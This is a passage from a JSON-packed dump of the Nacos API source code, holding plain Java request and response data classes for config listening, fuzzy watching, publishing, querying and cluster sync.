    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.config.remote.request;\n\nimport java.util.ArrayList;\nimport java.util.List;\n\n/**\n * request of listening a batch of configs.\n *\n * @author liuzunfei\n * @version $Id: ConfigBatchListenRequest.java, v 0.1 2020年07月27日 7:46 PM liuzunfei Exp $\n */\npublic class ConfigBatchListenRequest extends AbstractConfigRequest {\n    \n    /**\n     * listen or remove listen.\n     */\n    private boolean listen = true;\n    \n    private List<ConfigListenContext> configListenContexts = new ArrayList<>();\n    \n    /**\n     * add listen config.\n     *\n     * @param group  group.\n     * @param dataId dataId.\n     * @param tenant tenant.\n     * @param md5    md5.\n     */\n    public void addConfigListenContext(String group, String dataId, String tenant, String md5) {\n        ConfigListenContext configListenContext = new ConfigListenContext();\n        configListenContext.dataId = dataId;\n        configListenContext.group = group;\n        configListenContext.md5 = md5;\n        configListenContext.tenant = tenant;\n        configListenContexts.add(configListenContext);\n    }\n    \n    /**\n     * Getter method for property <tt>configListenContexts</tt>.\n     *\n     * @return property value of configListenContexts\n     */\n    public List<ConfigListenContext> getConfigListenContexts() {\n        return configListenContexts;\n    }\n    \n    /**\n     * Setter method for property <tt>configListenContexts</tt>.\n     *\n     * @param configListenContexts value to be assigned to property configListenContexts\n     */\n    public void setConfigListenContexts(List<ConfigListenContext> configListenContexts) {\n        this.configListenContexts = configListenContexts;\n    }\n    \n    /**\n     * Getter method for property <tt>listen</tt>.\n     *\n     * @return property value of listen\n     */\n    public boolean isListen() {\n        return listen;\n    }\n    \n    /**\n     * Setter method for property <tt>listen</tt>.\n     *\n     * @param listen value to be assigned to property listen\n     */\n    public void setListen(boolean listen) {\n        this.listen = listen;\n    }\n    \n    public static class ConfigListenContext {\n        \n        String group;\n        \n        String md5;\n        \n        String dataId;\n        \n        String tenant;\n        \n        public ConfigListenContext() {\n        \n        }\n        \n        @Override\n        public String toString() {\n            return \"ConfigListenContext{\" + \"group='\" + group + '\\'' + \", md5='\" + md5 + '\\'' + \", dataId='\" + dataId\n                    + '\\'' + \", tenant='\" + tenant + '\\'' + '}';\n        }\n        \n        /**\n         * Getter method for property <tt>group</tt>.\n         *\n         * @return property value of group\n         */\n        public String getGroup() {\n            return group;\n        }\n        \n        /**\n         * Setter method for property <tt>groupId</tt>.\n         *\n         * @param group value to be assigned to property groupId\n         */\n        public void setGroup(String group) {\n            this.group = group;\n        }\n        \n        /**\n         * Getter method for property <tt>md5</tt>.\n         *\n         * @return property value of md5\n         */\n        public String getMd5() {\n            return md5;\n        }\n        \n        /**\n         * Setter method for property <tt>md5</tt>.\n         *\n         * @param md5 value to be assigned to property md5\n         */\n        public void setMd5(String md5) {\n            this.md5 = md5;\n        }\n        \n        /**\n         * Getter method for property <tt>dataId</tt>.\n         *\n         * @return property value of dataId\n         */\n        public String getDataId() {\n            return dataId;\n        }\n        \n        /**\n         * Setter method for property <tt>dataId</tt>.\n         *\n         * @param dataId value to be assigned to property dataId\n         */\n        public void setDataId(String dataId) {\n            this.dataId = dataId;\n        }\n        \n        /**\n         * Getter method for property <tt>tenant</tt>.\n         *\n         * @return property value of tenant\n         */\n        public String getTenant() {\n            return tenant;\n        }\n        \n        /**\n         * Setter method for property <tt>tenant</tt>.\n         *\n         * @param tenant value to be assigned to property tenant\n         */\n        public void setTenant(String tenant) {\n            this.tenant = tenant;\n        }\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/config/remote/request/ConfigChangeNotifyRequest.java",
    "content": "/*\n * Copyright 1999-2020 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.config.remote.request;\n\nimport com.alibaba.nacos.api.common.Constants;\nimport com.alibaba.nacos.api.remote.request.ServerRequest;\n\n/**\n * ConfigChangeNotifyRequest.\n *\n * @author liuzunfei\n * @version $Id: ConfigChangeNotifyRequest.java, v 0.1 2020年07月14日 3:20 PM liuzunfei Exp $\n */\npublic class ConfigChangeNotifyRequest extends ServerRequest {\n    \n    String dataId;\n    \n    String group;\n    \n    String tenant;\n    \n    public String getDataId() {\n        return dataId;\n    }\n    \n    public void setDataId(String dataId) {\n        this.dataId = dataId;\n    }\n    \n    public String getGroup() {\n        return group;\n    }\n    \n    public void setGroup(String group) {\n        this.group = group;\n    }\n    \n    public String getTenant() {\n        return tenant;\n    }\n    \n    public void setTenant(String tenant) {\n        this.tenant = tenant;\n    }\n    \n    /**\n     * build success response.\n     *\n     * @param dataId dataId\n     * @param group  group\n     * @param tenant tenant\n     * @return ConfigChangeNotifyResponse\n     */\n    public static ConfigChangeNotifyRequest build(String dataId, String group, String tenant) {\n        ConfigChangeNotifyRequest request = new ConfigChangeNotifyRequest();\n        request.setDataId(dataId);\n        request.setGroup(group);\n        request.setTenant(tenant);\n        return request;\n    }\n    \n    @Override\n    public String getModule() {\n        return Constants.Config.CONFIG_MODULE;\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/config/remote/request/ConfigFuzzyWatchChangeNotifyRequest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.config.remote.request;\n\n/**\n * Represents a request to notify changes when a fuzzy watched configuration changed.\n *\n * <p>This request is used to notify clients about changes in configurations that match fuzzy listening patterns.\n *\n * @author stone-98\n * @date 2024/3/13\n */\npublic class ConfigFuzzyWatchChangeNotifyRequest extends AbstractFuzzyWatchNotifyRequest {\n    \n    /**\n     * The groupKey of the configuration that has changed.\n     */\n    private String groupKey;\n    \n    /**\n     * Indicates whether the configuration exists or not.\n     */\n    private String changeType;\n    \n    /**\n     * Constructs an empty FuzzyListenNotifyChangeRequest.\n     */\n    public ConfigFuzzyWatchChangeNotifyRequest() {\n    }\n    \n    /**\n     * Constructs a FuzzyListenNotifyChangeRequest with the specified parameters.\n     *\n     * @param groupKey   The group of the configuration that has changed\n     * @param changeType Indicates whether the configuration exists or not\n     */\n    public ConfigFuzzyWatchChangeNotifyRequest(String groupKey, String changeType) {\n        this.groupKey = groupKey;\n        this.changeType = changeType;\n    }\n    \n    public String getGroupKey() {\n        return groupKey;\n    }\n    \n    public void setGroupKey(String groupKey) {\n        this.groupKey = groupKey;\n    }\n    \n    public String getChangeType() {\n        return changeType;\n    }\n    \n    public void setChangeType(String changeType) {\n        this.changeType = changeType;\n    }\n    \n    /**\n     * Returns a string representation of the FuzzyListenNotifyChangeRequest.\n     *\n     * @return A string representation of the request\n     */\n    @Override\n    public String toString() {\n        return \"FuzzyListenNotifyChangeRequest{\" + '\\'' + \", groupKey='\" + groupKey + '\\'' + \", changeType=\"\n                + changeType + '}';\n    }\n    \n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/config/remote/request/ConfigFuzzyWatchRequest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.config.remote.request;\n\nimport com.alibaba.nacos.api.common.Constants;\nimport com.alibaba.nacos.api.remote.request.Request;\n\nimport java.util.Set;\n\n/**\n * Represents a request for batch fuzzy listening configurations.\n *\n * <p>This request is used to request batch fuzzy listening configurations from the server. It contains a set of\n * contexts, each representing a fuzzy listening context.\n *\n * @author stone-98\n * @date 2024/3/4\n */\npublic class ConfigFuzzyWatchRequest extends Request {\n    \n    /**\n     * The namespace or tenant associated with the configurations.\n     */\n    private String groupKeyPattern;\n    \n    private Set<String> receivedGroupKeys;\n    \n    /**\n     * Flag indicating whether to listen for changes.\n     */\n    private String watchType;\n    \n    /**\n     * Flag indicating whether the client is initializing.\n     */\n    private boolean isInitializing;\n    \n    /**\n     * Constructs an empty ConfigBatchFuzzyListenRequest.\n     */\n    public ConfigFuzzyWatchRequest() {\n    }\n    \n    public String getGroupKeyPattern() {\n        return groupKeyPattern;\n    }\n    \n    public void setGroupKeyPattern(String groupKeyPattern) {\n        this.groupKeyPattern = groupKeyPattern;\n    }\n    \n    public Set<String> getReceivedGroupKeys() {\n        return receivedGroupKeys;\n    }\n    \n    public void setReceivedGroupKeys(Set<String> receivedGroupKeys) {\n        this.receivedGroupKeys = receivedGroupKeys;\n    }\n    \n    public String getWatchType() {\n        return watchType;\n    }\n    \n    public void setWatchType(String watchType) {\n        this.watchType = watchType;\n    }\n    \n    public boolean isInitializing() {\n        return isInitializing;\n    }\n    \n    public void setInitializing(boolean initializing) {\n        isInitializing = initializing;\n    }\n    \n    /**\n     * Get the module name for this request.\n     *\n     * @return The module name\n     */\n    @Override\n    public String getModule() {\n        return Constants.Config.CONFIG_MODULE;\n    }\n    \n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/config/remote/request/ConfigFuzzyWatchSyncRequest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.config.remote.request;\n\nimport com.alibaba.nacos.api.common.Constants;\n\nimport java.util.Set;\n\n/**\n * Represents a request to notify the difference between client and server side.\n *\n * <p>This request is used to notify clients about the difference in configurations that match fuzzy listening\n * patterns.\n *\n * @author stone-98\n * @date 2024/3/6\n */\npublic class ConfigFuzzyWatchSyncRequest extends AbstractFuzzyWatchNotifyRequest {\n    \n    /**\n     * The pattern used to match group keys for the configurations.\n     */\n    private String groupKeyPattern;\n    \n    /**\n     * The set of contexts containing information about the configurations.\n     */\n    private Set<Context> contexts;\n    \n    /**\n     * see FUZZY_WATCH_INIT_NOTIFY,FINISH_FUZZY_WATCH_INIT_NOTIFY,FUZZY_WATCH_DIFF_SYNC_NOTIFY.\n     */\n    private String syncType;\n    \n    private int totalBatch;\n    \n    private int currentBatch;\n    \n    public String getSyncType() {\n        return syncType;\n    }\n    \n    public void setSyncType(String syncType) {\n        this.syncType = syncType;\n    }\n    \n    public int getTotalBatch() {\n        return totalBatch;\n    }\n    \n    public void setTotalBatch(int totalBatch) {\n        this.totalBatch = totalBatch;\n    }\n    \n    public int getCurrentBatch() {\n        return currentBatch;\n    }\n    \n    public void setCurrentBatch(int currentBatch) {\n        this.currentBatch = currentBatch;\n    }\n    \n    /**\n     * Constructs an empty FuzzyListenNotifyDiffRequest.\n     */\n    public ConfigFuzzyWatchSyncRequest() {\n    }\n    \n    /**\n     * Constructs a FuzzyListenNotifyDiffRequest with the specified parameters.\n     *\n     * @param groupKeyPattern The pattern used to match group keys for the configurations\n     * @param contexts        The set of contexts containing information about the configurations\n     */\n    private ConfigFuzzyWatchSyncRequest(String syncType, String groupKeyPattern, Set<Context> contexts, int totalBatch,\n            int currentBatch) {\n        this.groupKeyPattern = groupKeyPattern;\n        this.contexts = contexts;\n        this.syncType = syncType;\n        this.currentBatch = currentBatch;\n        this.totalBatch = totalBatch;\n        \n    }\n    \n    /**\n     * Builds an initial FuzzyListenNotifyDiffRequest with the specified set of contexts and group key pattern.\n     *\n     * @param contexts        The set of contexts containing information about the configurations\n     * @param groupKeyPattern The pattern used to match group keys for the configurations\n     * @return An initial FuzzyListenNotifyDiffRequest\n     */\n    public static ConfigFuzzyWatchSyncRequest buildSyncRequest(String syncType, Set<Context> contexts,\n            String groupKeyPattern, int totalBatch, int currentBatch) {\n        return new ConfigFuzzyWatchSyncRequest(syncType, groupKeyPattern, contexts, totalBatch, currentBatch);\n    }\n    \n    /**\n     * Builds fuzzy watch init finish request.\n     *\n     * @param groupKeyPattern The pattern used to match group keys for the configurations\n     * @return A final FuzzyListenNotifyDiffRequest\n     */\n    public static ConfigFuzzyWatchSyncRequest buildInitFinishRequest(String groupKeyPattern) {\n        return new ConfigFuzzyWatchSyncRequest(Constants.FINISH_FUZZY_WATCH_INIT_NOTIFY, groupKeyPattern, null, 0, 0);\n    }\n    \n    public String getGroupKeyPattern() {\n        return groupKeyPattern;\n    }\n    \n    public void setGroupKeyPattern(String groupKeyPattern) {\n        this.groupKeyPattern = groupKeyPattern;\n    }\n    \n    public Set<Context> getContexts() {\n        return contexts;\n    }\n    \n    public void setContexts(Set<Context> contexts) {\n        this.contexts = contexts;\n    }\n    \n    /**\n     * Represents context information about a configuration.\n     */\n    public static class Context {\n        \n        String groupKey;\n        \n        /**\n         * see {@link com.alibaba.nacos.api.common.Constants.ConfigChangedType ADD_CONFIG&} ADD_CONFIG: a new config\n         * should be added for  clientside . DELETE_CONFIG: a  config should be removed for  clientside .\n         */\n        private String changedType;\n        \n        /**\n         * Constructs an empty Context object.\n         */\n        public Context() {\n        }\n        \n        /**\n         * Builds a new context object with the provided parameters.\n         *\n         * @param groupKey    The groupKey associated of the configuration.\n         * @param changedType The type of the configuration change event.\n         * @return A new context object initialized with the provided parameters.\n         */\n        public static Context build(String groupKey, String changedType) {\n            Context context = new Context();\n            context.setGroupKey(groupKey);\n            context.setChangedType(changedType);\n            return context;\n        }\n        \n        public String getGroupKey() {\n            return groupKey;\n        }\n        \n        public void setGroupKey(String groupKey) {\n            this.groupKey = groupKey;\n        }\n        \n        public String getChangedType() {\n            return changedType;\n        }\n        \n        public void setChangedType(String changedType) {\n            this.changedType = changedType;\n        }\n    }\n    \n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/config/remote/request/ConfigPublishRequest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.config.remote.request;\n\nimport java.util.HashMap;\nimport java.util.Map;\n\n/**\n * request to publish a config.\n *\n * @author liuzunfei\n * @version $Id: ConfigPublishRequest.java, v 0.1 2020年07月16日 4:30 PM liuzunfei Exp $\n */\npublic class ConfigPublishRequest extends AbstractConfigRequest {\n    \n    String content;\n    \n    String casMd5;\n    \n    private Map<String, String> additionMap;\n    \n    public ConfigPublishRequest() {\n    \n    }\n    \n    public ConfigPublishRequest(String dataId, String group, String tenant, String content) {\n        this.content = content;\n        super.setGroup(group);\n        super.setTenant(tenant);\n        super.setDataId(dataId);\n    }\n    \n    /**\n     * get additional param.\n     *\n     * @param key key of param.\n     * @return value of param ,return null if not exist.\n     */\n    public String getAdditionParam(String key) {\n        return additionMap == null ? null : additionMap.get(key);\n    }\n    \n    /**\n     * put additional param value. will override if exist.\n     *\n     * @param key   key of param.\n     * @param value value of param.\n     */\n    public void putAdditionalParam(String key, String value) {\n        if (additionMap == null) {\n            additionMap = new HashMap<>(2);\n        }\n        additionMap.put(key, value);\n    }\n    \n    /**\n     * Getter method for property <tt>content</tt>.\n     *\n     * @return property value of content\n     */\n    public String getContent() {\n        return content;\n    }\n    \n    /**\n     * Setter method for property <tt>content</tt>.\n     *\n     * @param content value to be assigned to property content\n     */\n    public void setContent(String content) {\n        this.content = content;\n    }\n    \n    /**\n     * Getter method for property <tt>casMd5</tt>.\n     *\n     * @return property value of casMd5\n     */\n    public String getCasMd5() {\n        return casMd5;\n    }\n    \n    /**\n     * Setter method for property <tt>casMd5</tt>.\n     *\n     * @param casMd5 value to be assigned to property content\n     */\n    public void setCasMd5(String casMd5) {\n        this.casMd5 = casMd5;\n    }\n    \n    /**\n     * Getter method for property <tt>casMd5</tt>.\n     *\n     * @return property value of casMd5\n     */\n    public Map<String, String> getAdditionMap() {\n        return additionMap;\n    }\n    \n    /**\n     * Setter method for property <tt>additionMap</tt>.\n     *\n     * @param additionMap value to be assigned to property additionMap\n     */\n    public void setAdditionMap(Map<String, String> additionMap) {\n        this.additionMap = additionMap;\n    }\n    \n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/config/remote/request/ConfigQueryRequest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.config.remote.request;\n\nimport com.alibaba.nacos.api.common.Constants;\n\n/**\n * request to query config content.\n *\n * @author liuzunfei\n * @version $Id: ConfigQueryRequest.java, v 0.1 2020年07月13日 9:06 PM liuzunfei Exp $\n */\npublic class ConfigQueryRequest extends AbstractConfigRequest {\n    \n    private String tag;\n    \n    /**\n     * request builder.\n     *\n     * @param dataId dataId\n     * @param group  group\n     * @param tenant tenant\n     * @return ConfigQueryRequest instance.\n     */\n    public static ConfigQueryRequest build(String dataId, String group, String tenant) {\n        ConfigQueryRequest request = new ConfigQueryRequest();\n        request.setDataId(dataId);\n        request.setGroup(group);\n        request.setTenant(tenant);\n        return request;\n    }\n    \n    /**\n     * Getter method for property <tt>tag</tt>.\n     *\n     * @return property value of tag\n     */\n    public String getTag() {\n        return tag;\n    }\n    \n    /**\n     * Setter method for property <tt>tag</tt>.\n     *\n     * @param tag value to be assigned to property tag\n     */\n    public void setTag(String tag) {\n        this.tag = tag;\n    }\n    \n    public boolean isNotify() {\n        String notify = getHeader(Constants.Config.NOTIFY_HEADER, Boolean.FALSE.toString());\n        return Boolean.parseBoolean(notify);\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/config/remote/request/ConfigRemoveRequest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.config.remote.request;\n\n/**\n * request to remove a config .\n *\n * @author liuzunfei\n * @version $Id: ConfigRemoveRequest.java, v 0.1 2020年07月16日 4:31 PM liuzunfei Exp $\n */\npublic class ConfigRemoveRequest extends AbstractConfigRequest {\n    \n    String tag;\n    \n    public ConfigRemoveRequest() {\n    \n    }\n    \n    public ConfigRemoveRequest(String dataId, String group, String tenant, String tag) {\n        super.setDataId(dataId);\n        super.setGroup(group);\n        super.setTenant(tenant);\n        this.tag = tag;\n    }\n    \n    /**\n     * Getter method for property <tt>tag</tt>.\n     *\n     * @return property value of tag\n     */\n    public String getTag() {\n        return tag;\n    }\n    \n    /**\n     * Setter method for property <tt>tag</tt>.\n     *\n     * @param tag value to be assigned to property tag\n     */\n    public void setTag(String tag) {\n        this.tag = tag;\n    }\n    \n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/config/remote/request/cluster/ConfigChangeClusterSyncRequest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.config.remote.request.cluster;\n\nimport com.alibaba.nacos.api.config.remote.request.AbstractConfigRequest;\n\n/**\n * config change sync request on clusters.\n *\n * @author liuzunfei\n * @version $Id: ConfigChangeClusterSyncRequest.java, v 0.1 2020年08月11日 4:30 PM liuzunfei Exp $\n */\npublic class ConfigChangeClusterSyncRequest extends AbstractConfigRequest {\n\n    long lastModified;\n    \n    String grayName;\n    \n    @Deprecated\n    boolean isBeta;\n    \n    @Deprecated\n    String tag;\n    \n    public boolean isBeta() {\n        return isBeta;\n    }\n    \n    public void setBeta(boolean beta) {\n        isBeta = beta;\n    }\n    \n    /**\n     * Getter method for property <tt>tag</tt>.\n     *\n     * @return property value of tag\n     */\n    public String getTag() {\n        return tag;\n    }\n    \n    /**\n     * Setter method for property <tt>tag</tt>.\n     *\n     * @param tag value to be assigned to property tag\n     */\n    public void setTag(String tag) {\n        this.tag = tag;\n    }\n    \n    public String getGrayName() {\n        return grayName;\n    }\n    \n    public void setGrayName(String grayName) {\n        this.grayName = grayName;\n    }\n    \n    /**\n     * Getter method for property <tt>lastModified</tt>.\n     *\n     * @return property value of lastModified\n     */\n    public long getLastModified() {\n        return lastModified;\n    }\n    \n    /**\n     * Setter method for property <tt>lastModified</tt>.\n     *\n     * @param lastModified value to be assigned to property lastModified\n     */\n    public void setLastModified(long lastModified) {\n        this.lastModified = lastModified;\n    }\n    \n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/config/remote/response/ClientConfigMetricResponse.java",
    "content": "/*\n * Copyright 1999-2020 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.config.remote.response;\n\nimport com.alibaba.nacos.api.remote.response.Response;\n\nimport java.util.HashMap;\nimport java.util.Map;\n\n/**\n * client config metrics response.\n *\n * @author liuzunfei\n * @version $Id: ClientConfigMetricResponse.java, v 0.1 2020年12月30日 2:59 PM liuzunfei Exp $\n */\npublic class ClientConfigMetricResponse extends Response {\n    \n    private Map<String, Object> metrics = new HashMap<>();\n    \n    public Map<String, Object> getMetrics() {\n        return metrics;\n    }\n    \n    public void setMetrics(Map<String, Object> metrics) {\n        this.metrics = metrics;\n    }\n    \n    public void putMetric(String key, Object value) {\n        metrics.put(key, value);\n    }\n    \n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/config/remote/response/ConfigChangeBatchListenResponse.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.config.remote.response;\n\nimport com.alibaba.nacos.api.remote.response.Response;\nimport com.alibaba.nacos.api.remote.response.ResponseCode;\n\nimport java.util.ArrayList;\nimport java.util.List;\n\n/**\n * ConfigChangeBatchListenResponse.\n *\n * @author liuzunfei\n * @version $Id: ConfigChangeBatchListenResponse.java, v 0.1 2020年07月14日 3:07 PM liuzunfei Exp $\n */\npublic class ConfigChangeBatchListenResponse extends Response {\n    \n    List<ConfigContext> changedConfigs = new ArrayList<>();\n    \n    public ConfigChangeBatchListenResponse() {\n    }\n    \n    /**\n     * add changed config.\n     *\n     * @param dataId dataId.\n     * @param group  group.\n     * @param tenant tenant.\n     */\n    public void addChangeConfig(String dataId, String group, String tenant) {\n        ConfigContext configContext = new ConfigContext();\n        configContext.dataId = dataId;\n        configContext.group = group;\n        configContext.tenant = tenant;\n        changedConfigs.add(configContext);\n    }\n    \n    /**\n     * Getter method for property <tt>changedConfigs</tt>.\n     *\n     * @return property value of changedConfigs\n     */\n    public List<ConfigContext> getChangedConfigs() {\n        return changedConfigs;\n    }\n    \n    /**\n     * Setter method for property <tt>changedConfigs</tt>.\n     *\n     * @param changedConfigs value to be assigned to property changedConfigs\n     */\n    public void setChangedConfigs(List<ConfigContext> changedConfigs) {\n        this.changedConfigs = changedConfigs;\n    }\n    \n    /**\n     * build fail response.\n     *\n     * @param errorMessage errorMessage.\n     * @return response.\n     */\n    public static ConfigChangeBatchListenResponse buildFailResponse(String errorMessage) {\n        ConfigChangeBatchListenResponse response = new ConfigChangeBatchListenResponse();\n        response.setResultCode(ResponseCode.FAIL.getCode());\n        response.setMessage(errorMessage);\n        return response;\n    }\n    \n    public static class ConfigContext {\n        \n        String group;\n        \n        String dataId;\n        \n        String tenant;\n        \n        public ConfigContext() {\n        \n        }\n        \n        /**\n         * Getter method for property <tt>groupId</tt>.\n         *\n         * @return property value of groupId\n         */\n        public String getGroup() {\n            return group;\n        }\n        \n        /**\n         * Setter method for property <tt>groupId</tt>.\n         *\n         * @param group value to be assigned to property groupId\n         */\n        public void setGroup(String group) {\n            this.group = group;\n        }\n        \n        /**\n         * Getter method for property <tt>dataId</tt>.\n         *\n         * @return property value of dataId\n         */\n        public String getDataId() {\n            return dataId;\n        }\n        \n        /**\n         * Setter method for property <tt>dataId</tt>.\n         *\n         * @param dataId value to be assigned to property dataId\n         */\n        public void setDataId(String dataId) {\n            this.dataId = dataId;\n        }\n        \n        /**\n         * Getter method for property <tt>tenant</tt>.\n         *\n         * @return property value of tenant\n         */\n        public String getTenant() {\n            return tenant;\n        }\n        \n        /**\n         * Setter method for property <tt>tenant</tt>.\n         *\n         * @param tenant value to be assigned to property tenant\n         */\n        public void setTenant(String tenant) {\n            this.tenant = tenant;\n        }\n        \n        @Override\n        public String toString() {\n            return \"ConfigContext{\" + \"group='\" + group + '\\'' + \", dataId='\" + dataId + '\\'' + \", tenant='\" + tenant\n                    + '\\'' + '}';\n        }\n    }\n    \n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/config/remote/response/ConfigChangeNotifyResponse.java",
    "content": "/*\n * Copyright 1999-2020 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.config.remote.response;\n\nimport com.alibaba.nacos.api.remote.response.Response;\n\n/**\n * config change notify response from client.\n * @author liuzunfei\n * @version $Id: ConfigChangeNotifyResponse.java, v 0.1 2020年09月01日 2:59 PM liuzunfei Exp $\n */\npublic class ConfigChangeNotifyResponse extends Response {\n    \n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/config/remote/response/ConfigFuzzyWatchChangeNotifyResponse.java",
